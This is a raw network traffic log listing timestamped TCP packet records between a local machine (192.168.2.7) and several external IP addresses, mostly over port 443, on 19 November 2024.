Nov 19, 2024 20:05:29.666265011 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.666301012 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.670008898 CET	49765	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.670033932 CET	443	49765	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.670090914 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.670130014 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.670139074 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.670161009 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.670317888 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.670540094 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.676176071 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.676342964 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.676419973 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.676450014 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.676491976 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.680387974 CET	49765	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.680401087 CET	443	49765	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.683933973 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.687685966 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.687719107 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.687731028 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.687764883 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.687863111 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.693269014 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.698627949 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.698659897 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.698705912 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.698740005 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.698784113 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.704011917 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.709316015 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.709348917 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.709376097 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.709408998 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.709490061 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.714503050 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.719676971 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.719712973 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.719764948 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.719795942 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.719851017 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.724395037 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.728904009 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.728974104 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.729046106 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.729078054 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.729132891 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.733118057 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.737463951 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.737498045 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.737559080 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.737590075 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.737631083 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.741561890 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.745392084 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.745493889 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.745520115 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.749361992 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.749397993 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.749428988 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.749453068 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.749481916 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.749500036 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.753401995 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.756894112 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.756922007 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.757337093 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.759505987 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.759529114 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.759936094 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.760077000 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.760085106 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.762079000 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.764264107 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.764324903 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.764348984 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.764385939 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.764395952 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.766607046 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.766755104 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.766767025 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.768932104 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.769035101 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.769046068 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.769673109 CET	49771	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.769710064 CET	443	49771	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.769800901 CET	49771	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.771496058 CET	49771	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.771507978 CET	443	49771	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.774338961 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.774395943 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.774425030 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.774507046 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.774544001 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.774555922 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.777909040 CET	49755	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.777936935 CET	443	49755	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.778079987 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.778176069 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.778199911 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.778224945 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.778265953 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.778275013 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.778671980 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.778713942 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.778906107 CET	49760	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.778955936 CET	443	49760	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.779465914 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.785088062 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.785118103 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.801187992 CET	443	49765	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.801381111 CET	443	49765	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.801429033 CET	49765	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.812603951 CET	49765	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.812617064 CET	443	49765	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.812628031 CET	49765	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.812633991 CET	443	49765	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.824620962 CET	49772	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.824690104 CET	443	49772	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.824768066 CET	49772	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.830287933 CET	49772	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.830323935 CET	443	49772	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.008081913 CET	443	49768	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.008743048 CET	49768	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.008769035 CET	443	49768	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.009028912 CET	443	49766	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.009224892 CET	49768	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.009248972 CET	443	49768	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.009466887 CET	49766	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.009517908 CET	443	49766	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.009943008 CET	49766	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.009958982 CET	443	49766	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.033605099 CET	443	49767	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.034171104 CET	49767	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.034200907 CET	443	49767	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.035113096 CET	49767	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.035120010 CET	443	49767	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.112564087 CET	443	49766	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.112636089 CET	443	49766	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.112770081 CET	49766	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.113208055 CET	49766	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.113244057 CET	443	49766	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.113279104 CET	49766	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.113295078 CET	443	49766	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.117568016 CET	49776	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.117600918 CET	443	49776	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.117852926 CET	49776	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.117989063 CET	443	49768	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.118071079 CET	443	49768	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.118129969 CET	49768	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.124219894 CET	49768	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.124219894 CET	49768	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.124237061 CET	443	49768	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.124248028 CET	443	49768	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.124325037 CET	49776	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.124347925 CET	443	49776	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.126230001 CET	49777	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.126256943 CET	443	49777	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.126348972 CET	49777	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.126488924 CET	49777	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.126502037 CET	443	49777	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.143935919 CET	443	49767	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.144006968 CET	443	49767	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.144113064 CET	49767	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.144273043 CET	49767	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.144290924 CET	443	49767	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.144296885 CET	49767	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.144303083 CET	443	49767	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.148233891 CET	49778	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.148256063 CET	443	49778	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.148359060 CET	49778	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.148623943 CET	49778	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.148636103 CET	443	49778	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.420022964 CET	443	49771	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.420475960 CET	49771	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.420495987 CET	443	49771	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.421005011 CET	49771	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.421011925 CET	443	49771	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.480142117 CET	443	49772	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.481997013 CET	49772	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.482055902 CET	443	49772	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.482496977 CET	49772	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.482511044 CET	443	49772	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.523561001 CET	443	49771	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.523642063 CET	443	49771	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.523933887 CET	49771	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.523983002 CET	49771	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.523983002 CET	49771	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.523998976 CET	443	49771	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.524043083 CET	443	49771	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.527188063 CET	49779	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.527235985 CET	443	49779	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.527323008 CET	49779	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.527506113 CET	49779	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.527524948 CET	443	49779	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.580060959 CET	443	49772	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.580142975 CET	443	49772	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.580284119 CET	49772	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.580634117 CET	49772	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.580652952 CET	443	49772	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.580682039 CET	49772	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.580689907 CET	443	49772	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.583827972 CET	49780	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.583868027 CET	443	49780	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.584090948 CET	49780	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.584259987 CET	49780	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.584273100 CET	443	49780	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.805777073 CET	443	49778	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.806380033 CET	49778	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.806390047 CET	443	49778	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.807017088 CET	49778	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.807022095 CET	443	49778	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.810022116 CET	443	49777	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.810194969 CET	443	49776	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.810358047 CET	49777	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.810379982 CET	443	49777	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.810750961 CET	49776	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.810765028 CET	49777	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.810770035 CET	443	49777	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.810775042 CET	443	49776	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.811321020 CET	49776	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.811323881 CET	443	49776	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.907738924 CET	443	49778	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.907804966 CET	443	49778	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.908030033 CET	49778	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.908205032 CET	49778	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.908205032 CET	49778	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.908232927 CET	443	49778	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.908242941 CET	443	49778	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.911891937 CET	49781	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.911951065 CET	443	49781	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.912024021 CET	49781	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.912597895 CET	49781	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.912616014 CET	443	49781	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.917314053 CET	443	49776	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.917387009 CET	443	49776	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.918499947 CET	49776	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.918499947 CET	49776	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.918499947 CET	49776	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.920569897 CET	49782	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.920607090 CET	443	49782	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.920715094 CET	49782	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.920866966 CET	49782	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.920881033 CET	443	49782	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.923834085 CET	443	49777	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.923896074 CET	443	49777	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.924940109 CET	49777	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.924941063 CET	49777	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.924969912 CET	49777	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.924988031 CET	443	49777	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.928360939 CET	49783	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.928396940 CET	443	49783	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:30.928742886 CET	49783	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.929011106 CET	49783	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:30.929023027 CET	443	49783	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.178272009 CET	443	49779	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.178795099 CET	49779	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.178812981 CET	443	49779	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.179296970 CET	49779	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.179305077 CET	443	49779	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.201972008 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:31.201987982 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:31.202075005 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:31.202265978 CET	49785	443	192.168.2.7	172.217.18.14
Nov 19, 2024 20:05:31.202277899 CET	443	49785	172.217.18.14	192.168.2.7
Nov 19, 2024 20:05:31.208252907 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:31.208347082 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:31.226816893 CET	443	49780	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.227345943 CET	49780	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.227375984 CET	443	49780	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.227852106 CET	49780	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.227859974 CET	443	49780	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.236746073 CET	49776	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.236768961 CET	443	49776	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.279452085 CET	443	49779	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.279532909 CET	443	49779	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.279652119 CET	49779	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.284847021 CET	49779	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.284847021 CET	49779	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.284862995 CET	443	49779	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.284872055 CET	443	49779	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.288036108 CET	49786	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.288070917 CET	443	49786	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.288171053 CET	49786	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.288307905 CET	49786	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.288317919 CET	443	49786	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.327277899 CET	443	49780	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.327351093 CET	443	49780	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.327497005 CET	49780	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.327533007 CET	49780	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.327552080 CET	443	49780	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.327564001 CET	49780	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.327572107 CET	443	49780	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.330368042 CET	49787	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.330415964 CET	443	49787	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.330504894 CET	49787	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.330746889 CET	49787	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.330761909 CET	443	49787	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.547816992 CET	443	49781	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.548352957 CET	49781	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.548403978 CET	443	49781	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.548825979 CET	49781	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.548839092 CET	443	49781	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.578527927 CET	443	49783	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.579081059 CET	49783	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.579149008 CET	443	49783	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.579473019 CET	49783	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.579489946 CET	443	49783	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.595254898 CET	443	49782	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.595814943 CET	49782	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.595849037 CET	443	49782	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.596431017 CET	49782	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.596437931 CET	443	49782	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.651562929 CET	443	49781	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.651639938 CET	443	49781	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.651735067 CET	49781	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.654382944 CET	49781	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.654443026 CET	443	49781	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.654479027 CET	49781	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.654499054 CET	443	49781	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.657645941 CET	49788	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.657690048 CET	443	49788	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.657768965 CET	49788	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.657907963 CET	49788	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.657921076 CET	443	49788	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.685147047 CET	443	49783	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.685233116 CET	443	49783	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.685332060 CET	49783	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.685446024 CET	49783	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.685446024 CET	49783	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.685497046 CET	443	49783	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.685528040 CET	443	49783	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.688218117 CET	49789	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.688313007 CET	443	49789	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.688427925 CET	49789	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.688621044 CET	49789	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:31.688663960 CET	443	49789	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.721324921 CET	443	49782	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.721472979 CET	443	49782	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:31.721534014 CET	49782	443	192.168.2.7	13.107.246.45
